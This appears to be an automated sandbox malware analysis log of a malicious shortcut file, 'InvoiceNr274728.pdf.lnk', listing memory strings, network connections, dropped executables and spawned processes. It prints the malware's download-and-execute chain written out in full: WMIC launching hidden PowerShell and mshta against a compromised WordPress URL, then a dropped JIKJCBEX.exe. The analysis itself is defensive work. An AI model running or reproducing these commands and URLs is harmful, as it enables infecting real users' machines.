Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJCB
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJCBE
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJCBEX
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJCBEX.
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJCBEX.e
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJCBEX.ex
Source: powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJCBEX.exe
Source: powershell.exe, 00000007.00000002.2246634128.00000192BCDEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/KlarnaInvoice42611.pdf
Source: mshta.exe, 00000005.00000002.2452872393.000001B704E45000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2439778155.000001AF02304000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2451587198.000001AF022CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2451901263.000001AF024E0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2439296103.000001AF02345000.00000004.00000020.00020000.00000000.sdmp, InvoiceNr274728.pdf.lnk	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler
Source: powershell.exe	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler$global:?
Source: mshta.exe, 00000005.00000002.2451618316.000001AF02304000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2439778155.000001AF02304000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler-
Source: mshta.exe, 00000005.00000003.2446239491.000001B708ECC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2452459221.000001B704D60000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2438636136.000001B708EB3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440164414.000001B708EBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2453402931.000001B708ECE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler...
Source: mshta.exe, 00000005.00000002.2451618316.000001AF02304000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2439778155.000001AF02304000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler19041.1110_none_60b525
Source: mshta.exe, 00000005.00000002.2451618316.000001AF02304000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2439778155.000001AF02304000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler8
Source: mshta.exe, 00000005.00000003.2440821106.000001AF0237C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2451529548.000001AF02290000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2446192997.000001AF0237E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2438706994.000001AF02370000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2451873533.000001AF0237F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerC:
Source: mshta.exe, 00000005.00000002.2451529548.000001AF02290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerE
Source: mshta.exe, 00000005.00000003.2446767707.000001AF022CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2441291898.000001AF022CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2451587198.000001AF022CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerF
Source: mshta.exe, 00000005.00000002.2451463945.000001AF02210000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerH
Source: mshta.exe, 00000005.00000003.2440712583.000001B708E90000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2450225237.000001B708EA3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2453304888.000001B708EA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerLMEM
Source: mshta.exe, 00000005.00000003.2446767707.000001AF022CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2441291898.000001AF022CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2451587198.000001AF022CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerP
Source: WMIC.exe, 00000000.00000002.2073695507.0000023361544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerProcess
Source: WMIC.exe, 00000000.00000002.2073613193.0000023361517000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000000.00000003.2072030517.0000023361512000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000000.00000003.2072805538.0000023361517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerTrue
Source: WMIC.exe, 00000000.00000002.2073869685.00000233616B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerW6432=C:
Source: mshta.exe, 00000005.00000003.2445424334.000001B704E45000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440688205.000001B704E43000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2452872393.000001B704E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerZ
Source: mshta.exe, 00000005.00000003.2446767707.000001AF022CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2441291898.000001AF022CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2451587198.000001AF022CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlere
Source: mshta.exe, 00000005.00000003.2448363881.000001B7091E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerhttps://agrizone.ae/wp
Source: mshta.exe, 00000005.00000003.2445424334.000001B704E45000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440688205.000001B704E43000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2452872393.000001B704E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlero
Source: mshta.exe, 00000005.00000002.2451901263.000001AF024E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerpDa
Source: mshta.exe, 00000005.00000003.2446767707.000001AF022CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2441291898.000001AF022CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2451587198.000001AF022CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerz
Source: powershell.exe, 00000007.00000002.2246634128.00000192BCBC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: explorer.exe, 00000016.00000003.2951201222.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951388431.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951073384.000000000573B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: explorer.exe, 00000016.00000003.2951201222.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951388431.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951073384.000000000573B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: explorer.exe, 00000016.00000003.2951201222.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951388431.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951073384.000000000573B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000007.00000002.2346967021.00000192CCC34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.2346967021.00000192CCC34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.2346967021.00000192CCC34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe.13.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe.13.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe.13.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: explorer.exe, 00000016.00000003.2951201222.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951388431.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951073384.000000000573B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: explorer.exe, 00000016.00000003.2951201222.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951388431.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951073384.000000000573B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: explorer.exe, 00000016.00000003.2951201222.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951388431.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951073384.000000000573B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: edb.log.6.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000006.00000003.2123573315.000001F177580000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr, edb.log.6.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 00000007.00000002.2246634128.00000192BCDEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000007.00000002.2346967021.00000192CCC34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: qmgr.db.6.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:
Source: JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe.13.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: explorer.exe, 00000016.00000003.2998689017.0000000005A29000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: explorer.exe, 00000016.00000003.2998689017.0000000005A29000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: explorer.exe, 00000016.00000003.2951201222.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951388431.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951073384.000000000573B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: explorer.exe, 00000016.00000003.2951201222.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951388431.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951073384.000000000573B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: explorer.exe, 00000016.00000003.2998689017.0000000005A29000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: explorer.exe, 00000016.00000003.2998689017.0000000005A29000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: explorer.exe, 00000016.00000003.2998689017.0000000005A29000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: explorer.exe, 00000016.00000003.2998689017.0000000005A29000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: explorer.exe, 00000016.00000003.2998689017.0000000005A29000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: explorer.exe, 00000016.00000003.2998689017.0000000005A29000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899

Source: unknown	HTTPS traffic detected: 208.91.198.106:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 208.91.198.106:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49922 version: TLS 1.2

System Summary

Contains functionality to create processes via WMI

Source: WMIC.exe, 00000000.00000002.2073869685.00000233616BB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W*\S*2\m*ht*e https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler"dd

memstr_c903c3dd-c

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\JIKJCBEX.exe

Jump to dropped file

Windows shortcut file (LNK) contains suspicious command line arguments

Source: InvoiceNr274728.pdf.lnk

LNK file: process call create "powershell -w 1 . \W*\S*2\m*ht*e https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler"

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Code function: 13_2_00404FAA	13_2_00404FAA
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Code function: 13_2_0041206B	13_2_0041206B
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Code function: 13_2_0041022D	13_2_0041022D
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Code function: 13_2_00411F91	13_2_00411F91
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Code function: 14_2_6C188DF0	14_2_6C188DF0
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Code function: 14_2_6C0B3F10	14_2_6C0B3F10
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Code function: 14_2_6C189F30	14_2_6C189F30
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Code function: 14_2_6C0B2290	14_2_6C0B2290
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Code function: 14_2_6C18BBC0	14_2_6C18BBC0
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Code function: 14_2_6C0B13E1	14_2_6C0B13E1
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Code function: 14_2_6C0B13E0	14_2_6C0B13E0
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Code function: 19_2_6BB013E0	19_2_6BB013E0
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Code function: 19_2_6BB013E1	19_2_6BB013E1
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Code function: 19_2_6BBDBBC0	19_2_6BBDBBC0
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Code function: 19_2_6BB02290	19_2_6BB02290
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Code function: 19_2_6BBD9F30	19_2_6BBD9F30
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Code function: 19_2_6BB03F10	19_2_6BB03F10
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Code function: 19_2_6BBD8DF0	19_2_6BBD8DF0

Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Code function: String function: 6BC31420 appears 80 times
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Code function: String function: 6BC108E0 appears 251 times
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Code function: String function: 6BBBCAD0 appears 116 times
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Code function: String function: 6BB97460 appears 36 times
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Code function: String function: 6BC0FDF0 appears 213 times
Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Code function: String function: 0040243B appears 37 times
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Code function: String function: 6C1BFDF0 appears 204 times
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Code function: String function: 6C16CAD0 appears 111 times
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Code function: String function: 6C1E1420 appears 78 times
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Code function: String function: 6C147460 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Code function: String function: 6C1C08E0 appears 236 times

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 3201
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 3201			Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winLNK@36/59@5/3

Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe

Code function: 13_2_00407776 wvsprintfW,GetLastError,FormatMessageW,FormatMessageW,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,??2@YAPAXI@Z,lstrcpyW,lstrcpyW,lstrcpyW,??3@YAXPAX@Z,LocalFree,

13_2_00407776

Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe

Code function: 13_2_0040118A GetDiskFreeSpaceExW,SendMessageW,

13_2_0040118A

Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe

Code function: 13_2_004034C1 _wtol,_wtol,SHGetSpecialFolderPathW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,_wtol,CoCreateInstance,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,

13_2_004034C1

Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe

Code function: 13_2_00401BDF GetModuleHandleW,FindResourceExA,FindResourceExA,FindResourceExA,SizeofResource,LoadResource,LockResource,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,wsprintfW,LoadLibraryA,GetProcAddress,

13_2_00401BDF

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2408:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_enc3elam.ckk.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe

Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Command line argument: windows_exe	14_2_00401110
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Command line argument: sys	14_2_00401110
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Command line argument: _MessageBox	14_2_00401110

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: InvoiceNr274728.pdf.lnk

ReversingLabs: Detection: 13%

Source: pyexec.exe	String found in binary or memory: --help
Source: pyexec.exe	String found in binary or memory: --help
Source: pyexec.exe	String found in binary or memory: --help
Source: pyexec.exe	String found in binary or memory: --help

Source: unknown	Process created: C:\Windows\System32\wbem\WMIC.exe "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W\S2\mhte https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler"
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 . \W\S2\mhte https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\System32\mshta.exe" https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 